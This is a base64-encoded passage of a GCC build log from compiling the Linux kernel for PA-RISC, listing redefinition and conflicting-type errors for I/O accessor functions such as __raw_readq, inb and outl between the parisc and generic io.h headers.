OjI1LAogICAgICAgICAgICAgICAgIGZyb20gLi9hcmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9o
YXJkaXJxLmg6MTMsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2luY2x1ZGUvbGludXgvaGFy
ZGlycS5oOjksCiAgICAgICAgICAgICAgICAgZnJvbSBhcmNoL3BhcmlzYy9rZXJuZWwvYXNt
LW9mZnNldHMuYzozNDoKLi9hcmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9pby5oOjE1NDoyODog
bm90ZTogcHJldmlvdXMgZGVmaW5pdGlvbiBvZiAnX19yYXdfcmVhZGwnIHdhcyBoZXJlCiBz
dGF0aWMgaW5saW5lIHVuc2lnbmVkIGludCBfX3Jhd19yZWFkbChjb25zdCB2b2xhdGlsZSB2
b2lkIF9faW9tZW0gKmFkZHIpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBefn5+fn5+
fn5+fgpJbiBmaWxlIGluY2x1ZGVkIGZyb20gLi9hcmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9p
by5oOjI2MjowLAogICAgICAgICAgICAgICAgIGZyb20gLi9pbmNsdWRlL2xpbnV4L2lvLmg6
MjUsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2luY2x1ZGUvbGludXgvaXJxLmg6MjUsCiAg
ICAgICAgICAgICAgICAgZnJvbSAuL2FyY2gvcGFyaXNjL2luY2x1ZGUvYXNtL2hhcmRpcnEu
aDoxMywKICAgICAgICAgICAgICAgICBmcm9tIC4vaW5jbHVkZS9saW51eC9oYXJkaXJxLmg6
OSwKICAgICAgICAgICAgICAgICBmcm9tIGFyY2gvcGFyaXNjL2tlcm5lbC9hc20tb2Zmc2V0
cy5jOjM0OgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW8uaDo2MjoyMTogZXJyb3I6IHJlZGVm
aW5pdGlvbiBvZiAnX19yYXdfcmVhZHEnCiAjZGVmaW5lIF9fcmF3X3JlYWRxIF9fcmF3X3Jl
YWRxCiAgICAgICAgICAgICAgICAgICAgIF4KLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lvLmg6
NjM6MTk6IG5vdGU6IGluIGV4cGFuc2lvbiBvZiBtYWNybyAnX19yYXdfcmVhZHEnCiBzdGF0
aWMgaW5saW5lIHU2NCBfX3Jhd19yZWFkcShjb25zdCB2b2xhdGlsZSB2b2lkIF9faW9tZW0g
KmFkZHIpCiAgICAgICAgICAgICAgICAgICBefn5+fn5+fn5+fgpJbiBmaWxlIGluY2x1ZGVk
IGZyb20gLi9pbmNsdWRlL2xpbnV4L2lvLmg6MjU6MCwKICAgICAgICAgICAgICAgICBmcm9t
IC4vaW5jbHVkZS9saW51eC9pcnEuaDoyNSwKICAgICAgICAgICAgICAgICBmcm9tIC4vYXJj
aC9wYXJpc2MvaW5jbHVkZS9hc20vaGFyZGlycS5oOjEzLAogICAgICAgICAgICAgICAgIGZy
b20gLi9pbmNsdWRlL2xpbnV4L2hhcmRpcnEuaDo5LAogICAgICAgICAgICAgICAgIGZyb20g
YXJjaC9wYXJpc2Mva2VybmVsL2FzbS1vZmZzZXRzLmM6MzQ6Ci4vYXJjaC9wYXJpc2MvaW5j
bHVkZS9hc20vaW8uaDoxNTg6MzQ6IG5vdGU6IHByZXZpb3VzIGRlZmluaXRpb24gb2YgJ19f
cmF3X3JlYWRxJyB3YXMgaGVyZQogc3RhdGljIGlubGluZSB1bnNpZ25lZCBsb25nIGxvbmcg
X19yYXdfcmVhZHEoY29uc3Qgdm9sYXRpbGUgdm9pZCBfX2lvbWVtICphZGRyKQogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgXn5+fn5+fn5+fn4KSW4gZmlsZSBpbmNsdWRl
ZCBmcm9tIC4vYXJjaC9wYXJpc2MvaW5jbHVkZS9hc20vaW8uaDoyNjI6MCwKICAgICAgICAg
ICAgICAgICBmcm9tIC4vaW5jbHVkZS9saW51eC9pby5oOjI1LAogICAgICAgICAgICAgICAg
IGZyb20gLi9pbmNsdWRlL2xpbnV4L2lycS5oOjI1LAogICAgICAgICAgICAgICAgIGZyb20g
Li9hcmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9oYXJkaXJxLmg6MTMsCiAgICAgICAgICAgICAg
ICAgZnJvbSAuL2luY2x1ZGUvbGludXgvaGFyZGlycS5oOjksCiAgICAgICAgICAgICAgICAg
ZnJvbSBhcmNoL3BhcmlzYy9rZXJuZWwvYXNtLW9mZnNldHMuYzozNDoKLi9pbmNsdWRlL2Fz
bS1nZW5lcmljL2lvLmg6NzE6MjI6IGVycm9yOiByZWRlZmluaXRpb24gb2YgJ19fcmF3X3dy
aXRlYicKICNkZWZpbmUgX19yYXdfd3JpdGViIF9fcmF3X3dyaXRlYgogICAgICAgICAgICAg
ICAgICAgICAgXgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW8uaDo3MjoyMDogbm90ZTogaW4g
ZXhwYW5zaW9uIG9mIG1hY3JvICdfX3Jhd193cml0ZWInCiBzdGF0aWMgaW5saW5lIHZvaWQg
X19yYXdfd3JpdGViKHU4IHZhbHVlLCB2b2xhdGlsZSB2b2lkIF9faW9tZW0gKmFkZHIpCiAg
ICAgICAgICAgICAgICAgICAgXn5+fn5+fn5+fn5+CkluIGZpbGUgaW5jbHVkZWQgZnJvbSAu
L2luY2x1ZGUvbGludXgvaW8uaDoyNTowLAogICAgICAgICAgICAgICAgIGZyb20gLi9pbmNs
dWRlL2xpbnV4L2lycS5oOjI1LAogICAgICAgICAgICAgICAgIGZyb20gLi9hcmNoL3Bhcmlz
Yy9pbmNsdWRlL2FzbS9oYXJkaXJxLmg6MTMsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2lu
Y2x1ZGUvbGludXgvaGFyZGlycS5oOjksCiAgICAgICAgICAgICAgICAgZnJvbSBhcmNoL3Bh
cmlzYy9rZXJuZWwvYXNtLW9mZnNldHMuYzozNDoKLi9hcmNoL3BhcmlzYy9pbmNsdWRlL2Fz
bS9pby5oOjE2MzoyMDogbm90ZTogcHJldmlvdXMgZGVmaW5pdGlvbiBvZiAnX19yYXdfd3Jp
dGViJyB3YXMgaGVyZQogc3RhdGljIGlubGluZSB2b2lkIF9fcmF3X3dyaXRlYih1bnNpZ25l
ZCBjaGFyIGIsIHZvbGF0aWxlIHZvaWQgX19pb21lbSAqYWRkcikKICAgICAgICAgICAgICAg
ICAgICBefn5+fn5+fn5+fn4KSW4gZmlsZSBpbmNsdWRlZCBmcm9tIC4vYXJjaC9wYXJpc2Mv
aW5jbHVkZS9hc20vaW8uaDoyNjI6MCwKICAgICAgICAgICAgICAgICBmcm9tIC4vaW5jbHVk
ZS9saW51eC9pby5oOjI1LAogICAgICAgICAgICAgICAgIGZyb20gLi9pbmNsdWRlL2xpbnV4
L2lycS5oOjI1LAogICAgICAgICAgICAgICAgIGZyb20gLi9hcmNoL3BhcmlzYy9pbmNsdWRl
L2FzbS9oYXJkaXJxLmg6MTMsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2luY2x1ZGUvbGlu
dXgvaGFyZGlycS5oOjksCiAgICAgICAgICAgICAgICAgZnJvbSBhcmNoL3BhcmlzYy9rZXJu
ZWwvYXNtLW9mZnNldHMuYzozNDoKLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lvLmg6Nzk6MjI6
IGVycm9yOiByZWRlZmluaXRpb24gb2YgJ19fcmF3X3dyaXRldycKICNkZWZpbmUgX19yYXdf
d3JpdGV3IF9fcmF3X3dyaXRldwogICAgICAgICAgICAgICAgICAgICAgXgouL2luY2x1ZGUv
YXNtLWdlbmVyaWMvaW8uaDo4MDoyMDogbm90ZTogaW4gZXhwYW5zaW9uIG9mIG1hY3JvICdf
X3Jhd193cml0ZXcnCiBzdGF0aWMgaW5saW5lIHZvaWQgX19yYXdfd3JpdGV3KHUxNiB2YWx1
ZSwgdm9sYXRpbGUgdm9pZCBfX2lvbWVtICphZGRyKQogICAgICAgICAgICAgICAgICAgIF5+
fn5+fn5+fn5+fgpJbiBmaWxlIGluY2x1ZGVkIGZyb20gLi9pbmNsdWRlL2xpbnV4L2lvLmg6
MjU6MCwKICAgICAgICAgICAgICAgICBmcm9tIC4vaW5jbHVkZS9saW51eC9pcnEuaDoyNSwK
ICAgICAgICAgICAgICAgICBmcm9tIC4vYXJjaC9wYXJpc2MvaW5jbHVkZS9hc20vaGFyZGly
cS5oOjEzLAogICAgICAgICAgICAgICAgIGZyb20gLi9pbmNsdWRlL2xpbnV4L2hhcmRpcnEu
aDo5LAogICAgICAgICAgICAgICAgIGZyb20gYXJjaC9wYXJpc2Mva2VybmVsL2FzbS1vZmZz
ZXRzLmM6MzQ6Ci4vYXJjaC9wYXJpc2MvaW5jbHVkZS9hc20vaW8uaDoxNjc6MjA6IG5vdGU6
IHByZXZpb3VzIGRlZmluaXRpb24gb2YgJ19fcmF3X3dyaXRldycgd2FzIGhlcmUKIHN0YXRp
YyBpbmxpbmUgdm9pZCBfX3Jhd193cml0ZXcodW5zaWduZWQgc2hvcnQgYiwgdm9sYXRpbGUg
dm9pZCBfX2lvbWVtICphZGRyKQogICAgICAgICAgICAgICAgICAgIF5+fn5+fn5+fn5+fgpJ
biBmaWxlIGluY2x1ZGVkIGZyb20gLi9hcmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9pby5oOjI2
MjowLAogICAgICAgICAgICAgICAgIGZyb20gLi9pbmNsdWRlL2xpbnV4L2lvLmg6MjUsCiAg
ICAgICAgICAgICAgICAgZnJvbSAuL2luY2x1ZGUvbGludXgvaXJxLmg6MjUsCiAgICAgICAg
ICAgICAgICAgZnJvbSAuL2FyY2gvcGFyaXNjL2luY2x1ZGUvYXNtL2hhcmRpcnEuaDoxMywK
ICAgICAgICAgICAgICAgICBmcm9tIC4vaW5jbHVkZS9saW51eC9oYXJkaXJxLmg6OSwKICAg
ICAgICAgICAgICAgICBmcm9tIGFyY2gvcGFyaXNjL2tlcm5lbC9hc20tb2Zmc2V0cy5jOjM0
OgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW8uaDo4NzoyMjogZXJyb3I6IHJlZGVmaW5pdGlv
biBvZiAnX19yYXdfd3JpdGVsJwogI2RlZmluZSBfX3Jhd193cml0ZWwgX19yYXdfd3JpdGVs
CiAgICAgICAgICAgICAgICAgICAgICBeCi4vaW5jbHVkZS9hc20tZ2VuZXJpYy9pby5oOjg4
OjIwOiBub3RlOiBpbiBleHBhbnNpb24gb2YgbWFjcm8gJ19fcmF3X3dyaXRlbCcKIHN0YXRp
YyBpbmxpbmUgdm9pZCBfX3Jhd193cml0ZWwodTMyIHZhbHVlLCB2b2xhdGlsZSB2b2lkIF9f
aW9tZW0gKmFkZHIpCiAgICAgICAgICAgICAgICAgICAgXn5+fn5+fn5+fn5+CkluIGZpbGUg
aW5jbHVkZWQgZnJvbSAuL2luY2x1ZGUvbGludXgvaW8uaDoyNTowLAogICAgICAgICAgICAg
ICAgIGZyb20gLi9pbmNsdWRlL2xpbnV4L2lycS5oOjI1LAogICAgICAgICAgICAgICAgIGZy
b20gLi9hcmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9oYXJkaXJxLmg6MTMsCiAgICAgICAgICAg
ICAgICAgZnJvbSAuL2luY2x1ZGUvbGludXgvaGFyZGlycS5oOjksCiAgICAgICAgICAgICAg
ICAgZnJvbSBhcmNoL3BhcmlzYy9rZXJuZWwvYXNtLW9mZnNldHMuYzozNDoKLi9hcmNoL3Bh
cmlzYy9pbmNsdWRlL2FzbS9pby5oOjE3MToyMDogbm90ZTogcHJldmlvdXMgZGVmaW5pdGlv
biBvZiAnX19yYXdfd3JpdGVsJyB3YXMgaGVyZQogc3RhdGljIGlubGluZSB2b2lkIF9fcmF3
X3dyaXRlbCh1bnNpZ25lZCBpbnQgYiwgdm9sYXRpbGUgdm9pZCBfX2lvbWVtICphZGRyKQog
ICAgICAgICAgICAgICAgICAgIF5+fn5+fn5+fn5+fgpJbiBmaWxlIGluY2x1ZGVkIGZyb20g
Li9hcmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9pby5oOjI2MjowLAogICAgICAgICAgICAgICAg
IGZyb20gLi9pbmNsdWRlL2xpbnV4L2lvLmg6MjUsCiAgICAgICAgICAgICAgICAgZnJvbSAu
L2luY2x1ZGUvbGludXgvaXJxLmg6MjUsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2FyY2gv
cGFyaXNjL2luY2x1ZGUvYXNtL2hhcmRpcnEuaDoxMywKICAgICAgICAgICAgICAgICBmcm9t
IC4vaW5jbHVkZS9saW51eC9oYXJkaXJxLmg6OSwKICAgICAgICAgICAgICAgICBmcm9tIGFy
Y2gvcGFyaXNjL2tlcm5lbC9hc20tb2Zmc2V0cy5jOjM0OgouL2luY2x1ZGUvYXNtLWdlbmVy
aWMvaW8uaDo5NjoyMjogZXJyb3I6IHJlZGVmaW5pdGlvbiBvZiAnX19yYXdfd3JpdGVxJwog
I2RlZmluZSBfX3Jhd193cml0ZXEgX19yYXdfd3JpdGVxCiAgICAgICAgICAgICAgICAgICAg
ICBeCi4vaW5jbHVkZS9hc20tZ2VuZXJpYy9pby5oOjk3OjIwOiBub3RlOiBpbiBleHBhbnNp
b24gb2YgbWFjcm8gJ19fcmF3X3dyaXRlcScKIHN0YXRpYyBpbmxpbmUgdm9pZCBfX3Jhd193
cml0ZXEodTY0IHZhbHVlLCB2b2xhdGlsZSB2b2lkIF9faW9tZW0gKmFkZHIpCiAgICAgICAg
ICAgICAgICAgICAgXn5+fn5+fn5+fn5+CkluIGZpbGUgaW5jbHVkZWQgZnJvbSAuL2luY2x1
ZGUvbGludXgvaW8uaDoyNTowLAogICAgICAgICAgICAgICAgIGZyb20gLi9pbmNsdWRlL2xp
bnV4L2lycS5oOjI1LAogICAgICAgICAgICAgICAgIGZyb20gLi9hcmNoL3BhcmlzYy9pbmNs
dWRlL2FzbS9oYXJkaXJxLmg6MTMsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2luY2x1ZGUv
bGludXgvaGFyZGlycS5oOjksCiAgICAgICAgICAgICAgICAgZnJvbSBhcmNoL3BhcmlzYy9r
ZXJuZWwvYXNtLW9mZnNldHMuYzozNDoKLi9hcmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9pby5o
OjE3NToyMDogbm90ZTogcHJldmlvdXMgZGVmaW5pdGlvbiBvZiAnX19yYXdfd3JpdGVxJyB3
YXMgaGVyZQogc3RhdGljIGlubGluZSB2b2lkIF9fcmF3X3dyaXRlcSh1bnNpZ25lZCBsb25n
IGxvbmcgYiwgdm9sYXRpbGUgdm9pZCBfX2lvbWVtICphZGRyKQogICAgICAgICAgICAgICAg
ICAgIF5+fn5+fn5+fn5+fgpJbiBmaWxlIGluY2x1ZGVkIGZyb20gLi9hcmNoL3BhcmlzYy9p
bmNsdWRlL2FzbS9pby5oOjI2MjowLAogICAgICAgICAgICAgICAgIGZyb20gLi9pbmNsdWRl
L2xpbnV4L2lvLmg6MjUsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2luY2x1ZGUvbGludXgv
aXJxLmg6MjUsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2FyY2gvcGFyaXNjL2luY2x1ZGUv
YXNtL2hhcmRpcnEuaDoxMywKICAgICAgICAgICAgICAgICBmcm9tIC4vaW5jbHVkZS9saW51
eC9oYXJkaXJxLmg6OSwKICAgICAgICAgICAgICAgICBmcm9tIGFyY2gvcGFyaXNjL2tlcm5l
bC9hc20tb2Zmc2V0cy5jOjM0OgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW8uaDozNjE6MTM6
IGVycm9yOiBjb25mbGljdGluZyB0eXBlcyBmb3IgJ2luYicKICNkZWZpbmUgaW5iIGluYgog
ICAgICAgICAgICAgXgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW8uaDozNjI6MTg6IG5vdGU6
IGluIGV4cGFuc2lvbiBvZiBtYWNybyAnaW5iJwogc3RhdGljIGlubGluZSB1OCBpbmIodW5z
aWduZWQgbG9uZyBhZGRyKQogICAgICAgICAgICAgICAgICBefn4KSW4gZmlsZSBpbmNsdWRl
ZCBmcm9tIC4vaW5jbHVkZS9saW51eC9pby5oOjI1OjAsCiAgICAgICAgICAgICAgICAgZnJv
bSAuL2luY2x1ZGUvbGludXgvaXJxLmg6MjUsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2Fy
Y2gvcGFyaXNjL2luY2x1ZGUvYXNtL2hhcmRpcnEuaDoxMywKICAgICAgICAgICAgICAgICBm
cm9tIC4vaW5jbHVkZS9saW51eC9oYXJkaXJxLmg6OSwKICAgICAgICAgICAgICAgICBmcm9t
IGFyY2gvcGFyaXNjL2tlcm5lbC9hc20tb2Zmc2V0cy5jOjM0OgouL2FyY2gvcGFyaXNjL2lu
Y2x1ZGUvYXNtL2lvLmg6MjAzOjIyOiBub3RlOiBwcmV2aW91cyBkZWNsYXJhdGlvbiBvZiAn
aW5iJyB3YXMgaGVyZQogZXh0ZXJuIHVuc2lnbmVkIGNoYXIgaW5iKGludCBhZGRyKTsKICAg
ICAgICAgICAgICAgICAgICAgIF5+fgpJbiBmaWxlIGluY2x1ZGVkIGZyb20gLi9hcmNoL3Bh
cmlzYy9pbmNsdWRlL2FzbS9pby5oOjI2MjowLAogICAgICAgICAgICAgICAgIGZyb20gLi9p
bmNsdWRlL2xpbnV4L2lvLmg6MjUsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2luY2x1ZGUv
bGludXgvaXJxLmg6MjUsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2FyY2gvcGFyaXNjL2lu
Y2x1ZGUvYXNtL2hhcmRpcnEuaDoxMywKICAgICAgICAgICAgICAgICBmcm9tIC4vaW5jbHVk
ZS9saW51eC9oYXJkaXJxLmg6OSwKICAgICAgICAgICAgICAgICBmcm9tIGFyY2gvcGFyaXNj
L2tlcm5lbC9hc20tb2Zmc2V0cy5jOjM0OgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW8uaDoz
Njk6MTM6IGVycm9yOiBjb25mbGljdGluZyB0eXBlcyBmb3IgJ2ludycKICNkZWZpbmUgaW53
IGludwogICAgICAgICAgICAgXgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW8uaDozNzA6MTk6
IG5vdGU6IGluIGV4cGFuc2lvbiBvZiBtYWNybyAnaW53Jwogc3RhdGljIGlubGluZSB1MTYg
aW53KHVuc2lnbmVkIGxvbmcgYWRkcikKICAgICAgICAgICAgICAgICAgIF5+fgpJbiBmaWxl
IGluY2x1ZGVkIGZyb20gLi9pbmNsdWRlL2xpbnV4L2lvLmg6MjU6MCwKICAgICAgICAgICAg
ICAgICBmcm9tIC4vaW5jbHVkZS9saW51eC9pcnEuaDoyNSwKICAgICAgICAgICAgICAgICBm
cm9tIC4vYXJjaC9wYXJpc2MvaW5jbHVkZS9hc20vaGFyZGlycS5oOjEzLAogICAgICAgICAg
ICAgICAgIGZyb20gLi9pbmNsdWRlL2xpbnV4L2hhcmRpcnEuaDo5LAogICAgICAgICAgICAg
ICAgIGZyb20gYXJjaC9wYXJpc2Mva2VybmVsL2FzbS1vZmZzZXRzLmM6MzQ6Ci4vYXJjaC9w
YXJpc2MvaW5jbHVkZS9hc20vaW8uaDoyMDQ6MjM6IG5vdGU6IHByZXZpb3VzIGRlY2xhcmF0
aW9uIG9mICdpbncnIHdhcyBoZXJlCiBleHRlcm4gdW5zaWduZWQgc2hvcnQgaW53KGludCBh
ZGRyKTsKICAgICAgICAgICAgICAgICAgICAgICBefn4KSW4gZmlsZSBpbmNsdWRlZCBmcm9t
IC4vYXJjaC9wYXJpc2MvaW5jbHVkZS9hc20vaW8uaDoyNjI6MCwKICAgICAgICAgICAgICAg
ICBmcm9tIC4vaW5jbHVkZS9saW51eC9pby5oOjI1LAogICAgICAgICAgICAgICAgIGZyb20g
Li9pbmNsdWRlL2xpbnV4L2lycS5oOjI1LAogICAgICAgICAgICAgICAgIGZyb20gLi9hcmNo
L3BhcmlzYy9pbmNsdWRlL2FzbS9oYXJkaXJxLmg6MTMsCiAgICAgICAgICAgICAgICAgZnJv
bSAuL2luY2x1ZGUvbGludXgvaGFyZGlycS5oOjksCiAgICAgICAgICAgICAgICAgZnJvbSBh
cmNoL3BhcmlzYy9rZXJuZWwvYXNtLW9mZnNldHMuYzozNDoKLi9pbmNsdWRlL2FzbS1nZW5l
cmljL2lvLmg6Mzc3OjEzOiBlcnJvcjogY29uZmxpY3RpbmcgdHlwZXMgZm9yICdpbmwnCiAj
ZGVmaW5lIGlubCBpbmwKICAgICAgICAgICAgIF4KLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lv
Lmg6Mzc4OjE5OiBub3RlOiBpbiBleHBhbnNpb24gb2YgbWFjcm8gJ2lubCcKIHN0YXRpYyBp
bmxpbmUgdTMyIGlubCh1bnNpZ25lZCBsb25nIGFkZHIpCiAgICAgICAgICAgICAgICAgICBe
fn4KSW4gZmlsZSBpbmNsdWRlZCBmcm9tIC4vaW5jbHVkZS9saW51eC9pby5oOjI1OjAsCiAg
ICAgICAgICAgICAgICAgZnJvbSAuL2luY2x1ZGUvbGludXgvaXJxLmg6MjUsCiAgICAgICAg
ICAgICAgICAgZnJvbSAuL2FyY2gvcGFyaXNjL2luY2x1ZGUvYXNtL2hhcmRpcnEuaDoxMywK
ICAgICAgICAgICAgICAgICBmcm9tIC4vaW5jbHVkZS9saW51eC9oYXJkaXJxLmg6OSwKICAg
ICAgICAgICAgICAgICBmcm9tIGFyY2gvcGFyaXNjL2tlcm5lbC9hc20tb2Zmc2V0cy5jOjM0
OgouL2FyY2gvcGFyaXNjL2luY2x1ZGUvYXNtL2lvLmg6MjA1OjIxOiBub3RlOiBwcmV2aW91
cyBkZWNsYXJhdGlvbiBvZiAnaW5sJyB3YXMgaGVyZQogZXh0ZXJuIHVuc2lnbmVkIGludCBp
bmwoaW50IGFkZHIpOwogICAgICAgICAgICAgICAgICAgICBefn4KSW4gZmlsZSBpbmNsdWRl
ZCBmcm9tIC4vYXJjaC9wYXJpc2MvaW5jbHVkZS9hc20vaW8uaDoyNjI6MCwKICAgICAgICAg
ICAgICAgICBmcm9tIC4vaW5jbHVkZS9saW51eC9pby5oOjI1LAogICAgICAgICAgICAgICAg
IGZyb20gLi9pbmNsdWRlL2xpbnV4L2lycS5oOjI1LAogICAgICAgICAgICAgICAgIGZyb20g
Li9hcmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9oYXJkaXJxLmg6MTMsCiAgICAgICAgICAgICAg
ICAgZnJvbSAuL2luY2x1ZGUvbGludXgvaGFyZGlycS5oOjksCiAgICAgICAgICAgICAgICAg
ZnJvbSBhcmNoL3BhcmlzYy9rZXJuZWwvYXNtLW9mZnNldHMuYzozNDoKLi9pbmNsdWRlL2Fz
bS1nZW5lcmljL2lvLmg6Mzg1OjE0OiBlcnJvcjogY29uZmxpY3RpbmcgdHlwZXMgZm9yICdv
dXRiJwogI2RlZmluZSBvdXRiIG91dGIKICAgICAgICAgICAgICBeCi4vaW5jbHVkZS9hc20t
Z2VuZXJpYy9pby5oOjM4NjoyMDogbm90ZTogaW4gZXhwYW5zaW9uIG9mIG1hY3JvICdvdXRi
Jwogc3RhdGljIGlubGluZSB2b2lkIG91dGIodTggdmFsdWUsIHVuc2lnbmVkIGxvbmcgYWRk
cikKICAgICAgICAgICAgICAgICAgICBefn5+CkluIGZpbGUgaW5jbHVkZWQgZnJvbSAuL2lu
Y2x1ZGUvbGludXgvaW8uaDoyNTowLAogICAgICAgICAgICAgICAgIGZyb20gLi9pbmNsdWRl
L2xpbnV4L2lycS5oOjI1LAogICAgICAgICAgICAgICAgIGZyb20gLi9hcmNoL3BhcmlzYy9p
bmNsdWRlL2FzbS9oYXJkaXJxLmg6MTMsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2luY2x1
ZGUvbGludXgvaGFyZGlycS5oOjksCiAgICAgICAgICAgICAgICAgZnJvbSBhcmNoL3Bhcmlz
Yy9rZXJuZWwvYXNtLW9mZnNldHMuYzozNDoKLi9hcmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9p
by5oOjIwNzoxMzogbm90ZTogcHJldmlvdXMgZGVjbGFyYXRpb24gb2YgJ291dGInIHdhcyBo
ZXJlCiBleHRlcm4gdm9pZCBvdXRiKHVuc2lnbmVkIGNoYXIgYiwgaW50IGFkZHIpOwogICAg
ICAgICAgICAgXn5+fgpJbiBmaWxlIGluY2x1ZGVkIGZyb20gLi9hcmNoL3BhcmlzYy9pbmNs
dWRlL2FzbS9pby5oOjI2MjowLAogICAgICAgICAgICAgICAgIGZyb20gLi9pbmNsdWRlL2xp
bnV4L2lvLmg6MjUsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2luY2x1ZGUvbGludXgvaXJx
Lmg6MjUsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2FyY2gvcGFyaXNjL2luY2x1ZGUvYXNt
L2hhcmRpcnEuaDoxMywKICAgICAgICAgICAgICAgICBmcm9tIC4vaW5jbHVkZS9saW51eC9o
YXJkaXJxLmg6OSwKICAgICAgICAgICAgICAgICBmcm9tIGFyY2gvcGFyaXNjL2tlcm5lbC9h
c20tb2Zmc2V0cy5jOjM0OgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW8uaDozOTM6MTQ6IGVy
cm9yOiBjb25mbGljdGluZyB0eXBlcyBmb3IgJ291dHcnCiAjZGVmaW5lIG91dHcgb3V0dwog
ICAgICAgICAgICAgIF4KLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lvLmg6Mzk0OjIwOiBub3Rl
OiBpbiBleHBhbnNpb24gb2YgbWFjcm8gJ291dHcnCiBzdGF0aWMgaW5saW5lIHZvaWQgb3V0
dyh1MTYgdmFsdWUsIHVuc2lnbmVkIGxvbmcgYWRkcikKICAgICAgICAgICAgICAgICAgICBe
fn5+CkluIGZpbGUgaW5jbHVkZWQgZnJvbSAuL2luY2x1ZGUvbGludXgvaW8uaDoyNTowLAog
ICAgICAgICAgICAgICAgIGZyb20gLi9pbmNsdWRlL2xpbnV4L2lycS5oOjI1LAogICAgICAg
ICAgICAgICAgIGZyb20gLi9hcmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9oYXJkaXJxLmg6MTMs
CiAgICAgICAgICAgICAgICAgZnJvbSAuL2luY2x1ZGUvbGludXgvaGFyZGlycS5oOjksCiAg
ICAgICAgICAgICAgICAgZnJvbSBhcmNoL3BhcmlzYy9rZXJuZWwvYXNtLW9mZnNldHMuYzoz
NDoKLi9hcmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9pby5oOjIwODoxMzogbm90ZTogcHJldmlv
dXMgZGVjbGFyYXRpb24gb2YgJ291dHcnIHdhcyBoZXJlCiBleHRlcm4gdm9pZCBvdXR3KHVu
c2lnbmVkIHNob3J0IGIsIGludCBhZGRyKTsKICAgICAgICAgICAgIF5+fn4KSW4gZmlsZSBp
bmNsdWRlZCBmcm9tIC4vYXJjaC9wYXJpc2MvaW5jbHVkZS9hc20vaW8uaDoyNjI6MCwKICAg
ICAgICAgICAgICAgICBmcm9tIC4vaW5jbHVkZS9saW51eC9pby5oOjI1LAogICAgICAgICAg
ICAgICAgIGZyb20gLi9pbmNsdWRlL2xpbnV4L2lycS5oOjI1LAogICAgICAgICAgICAgICAg
IGZyb20gLi9hcmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9oYXJkaXJxLmg6MTMsCiAgICAgICAg
ICAgICAgICAgZnJvbSAuL2luY2x1ZGUvbGludXgvaGFyZGlycS5oOjksCiAgICAgICAgICAg
ICAgICAgZnJvbSBhcmNoL3BhcmlzYy9rZXJuZWwvYXNtLW9mZnNldHMuYzozNDoKLi9pbmNs
dWRlL2FzbS1nZW5lcmljL2lvLmg6NDAxOjE0OiBlcnJvcjogY29uZmxpY3RpbmcgdHlwZXMg
Zm9yICdvdXRsJwogI2RlZmluZSBvdXRsIG91dGwKICAgICAgICAgICAgICBeCi4vaW5jbHVk
ZS9hc20tZ2VuZXJpYy9pby5oOjQwMjoyMDogbm90ZTogaW4gZXhwYW5zaW9uIG9mIG1hY3Jv
ICdvdXRsJwogc3RhdGljIGlubGluZSB2b2lkIG91dGwodTMyIHZhbHVlLCB1bnNpZ25lZCBs
b25nIGFkZHIpCiAgICAgICAgICAgICAgICAgICAgXn5+fgpJbiBmaWxlIGluY2x1ZGVkIGZy
b20gLi9pbmNsdWRlL2xpbnV4L2lvLmg6MjU6MCwKICAgICAgICAgICAgICAgICBmcm9tIC4v
aW5jbHVkZS9saW51eC9pcnEuaDoyNSwKICAgICAgICAgICAgICAgICBmcm9tIC4vYXJjaC9w
YXJpc2MvaW5jbHVkZS9hc20vaGFyZGlycS5oOjEzLAogICAgICAgICAgICAgICAgIGZyb20g
Li9pbmNsdWRlL2xpbnV4L2hhcmRpcnEuaDo5LAogICAgICAgICAgICAgICAgIGZyb20gYXJj
aC9wYXJpc2Mva2VybmVsL2FzbS1vZmZzZXRzLmM6MzQ6Ci4vYXJjaC9wYXJpc2MvaW5jbHVk
ZS9hc20vaW8uaDoyMDk6MTM6IG5vdGU6IHByZXZpb3VzIGRlY2xhcmF0aW9uIG9mICdvdXRs
JyB3YXMgaGVyZQogZXh0ZXJuIHZvaWQgb3V0bCh1bnNpZ25lZCBpbnQgYiwgaW50IGFkZHIp
OwogICAgICAgICAgICAgXn5+fgpJbiBmaWxlIGluY2x1ZGVkIGZyb20gLi9hcmNoL3Bhcmlz
Yy9pbmNsdWRlL2FzbS9pby5oOjI2MjowLAogICAgICAgICAgICAgICAgIGZyb20gLi9pbmNs
